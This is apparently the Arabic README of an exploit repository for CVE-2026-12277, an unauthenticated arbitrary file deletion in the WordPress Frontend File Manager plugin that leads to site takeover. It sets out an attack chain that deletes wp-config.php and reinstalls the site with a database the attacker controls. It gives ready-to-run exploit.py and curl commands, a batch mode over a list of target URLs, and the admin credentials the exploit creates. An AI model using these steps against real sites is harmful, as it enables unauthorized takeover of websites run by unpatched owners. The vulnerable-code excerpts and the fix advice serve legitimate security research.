
إضافة Frontend File Manager (WordPress) <= 23.6 - حذف ملفات تعسفي بدون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)
المكوّن الإضافي Frontend File Manager (ووردبريس) <= 23.6 - حذف ملفات تعسفي دون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-12277 |
| المكوّن الإضافي | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| الإصدار المتأثر | <= 23.6 |
| النوع | حذف ملفات تعسفي دون مصادقة |
| CVSS | 8.7 (عالي) |
| CWE | CWE-73 (تحكم خارجي في اسم الملف أو المسار) |
| الشرط المسبق | تفعيل وضع رفع الضيوف |
| التصحيح | لا يوجد (حتى يوليو 2026) |
| الباحث | Chamseddine Bouzaiene |
يخزّن المكوّن الإضافي مسارات الملفات المرفوعة في البيانات الوصفية للتدوينة (wpfm_dir_path). نقطة نهاية AJAX الخاصة بـ wpfm_file_meta_update:
files.php)nopriv (يمكن الوصول إليها دون مصادقة)unset($_REQUEST['wpfm_dir_path']) عبر سلوك request_order في PHP (الإرسال عبر سلسلة الاستعلام)عند استدعاء wpfm_delete_file، يقرأ wpfm_dir_path من البيانات الوصفية للتدوينة ويستدعي unlink() دون أي تحقق من المسار.
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
بعد نجاح الاستغلال، سجّل الدخول إلى حساب مدير ووردبريس:
URL: http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
يبحث الاستغلال تلقائيًا عن wpfm_ajax_nonce في:
/file-manager/، /upload/، /files/، /file-upload/، إلخ./file-manager.php/wp-json/)يظهر الـ nonce كحقل إدخال مخفي:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
أو في JavaScript موطَّن:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
ينفّذ الكود unset($_REQUEST['wpfm_dir_path']) لمنع الكتابة المباشرة فوق القيمة. التجاوز:
حقن سلسلة الاستعلام: أرسِل wpfm_dir_path عبر معامل استعلام في عنوان URL بينما تُرسل بقية البيانات عبر نص طلب POST. يسمح سلوك دمج $_REQUEST في PHP باستمرار القيمة اعتمادًا على إعداد request_order.
الإعداد المسبق أثناء تدفق الرفع: تُعيَّن القيمة الوصفية wpfm_dir_path أثناء خطافات رفع الملف الأولية. إذا استُغلت في تلك المرحلة، فلا حاجة لأي تجاوز.
| المكوّن | الإصدار |
|---|---|
| ووردبريس | 6.9.4 |
| PHP | 8.2.12 |
| المكوّن الإضافي |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // from wpfm_dir_path meta - NO VALIDATION
if (file_exists($file_path)) {
unlink($file_path); // ARBITRARY FILE DELETION
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // fallback: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // NO canonicalization, NO realpath check
}
wpfm_file_meta_updatewpfm_dir_path مقابل مجلد الرفع باستخدام realpath() وفحص البادئةهذه الأداة مقدمّة لأغراض اختبار الأمان المصرح به والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن كتابي قبل إجراء أي اختبار.
| إجراء AJAX | يتطلب Nonce | يتطلب مصادقة | nopriv |
|---|
wpfm_file_meta_update | لا (مُعلَّق كتعليق) | لا | نعم (دائمًا) |
wpfm_delete_file | نعم | لا | نعم (دائمًا) |
wpfm_upload_file | نعم | لا | نعم (إذا كان رفع الضيوف مفعّلًا) |
| الملف | الوصف |
|---|
exploit.py | استغلال بايثون كامل (اكتشاف → استغلال → سيطرة كاملة) |
poc_curl.sh | PoC ببش/curl (لينكس) |
poc_curl.ps1 | PoC بـ PowerShell/curl (ويندوز) |
lists.txt | عناوين URL المستهدفة (واحد في كل سطر، للوضع الدفعي) |
requirements.txt | تبعيات بايثون |
| الوسيط | مطلوب | الوصف |
|---|
-u, --url | نعم | عنوان URL المستهدف لـ WordPress |
-p, --path | لا | المسار المطلق لـ wp-config.php على الخادم |
--nonce | لا | nonce الخاص بـ AJAX (تخطي الاستخراج التلقائي) |
--dbname | لا | اسم قاعدة بيانات المهاجم (الافتراضي: wp_pwned) |
--dbuser | لا | مستخدم قاعدة بيانات المهاجم (الافتراضي: root) |
--dbpass | لا | كلمة مرور قاعدة بيانات المهاجم |
--dbhost | لا | مضيف قاعدة بيانات المهاجم (الافتراضي: localhost) |
--proxy | لا | وكيل HTTP (مثل: http://127.0.0.1:8080) |
--timeout | لا | مهلة الطلب بالثواني (الافتراضي: 15) |
--detect-only | لا | اكتشاف الثغرة فقط دون استغلالها |
| Frontend File Manager 23.6 |
| نظام التشغيل | Windows (XAMPP) / Linux |
| النتيجة | تم تأكيد السيطرة الكاملة |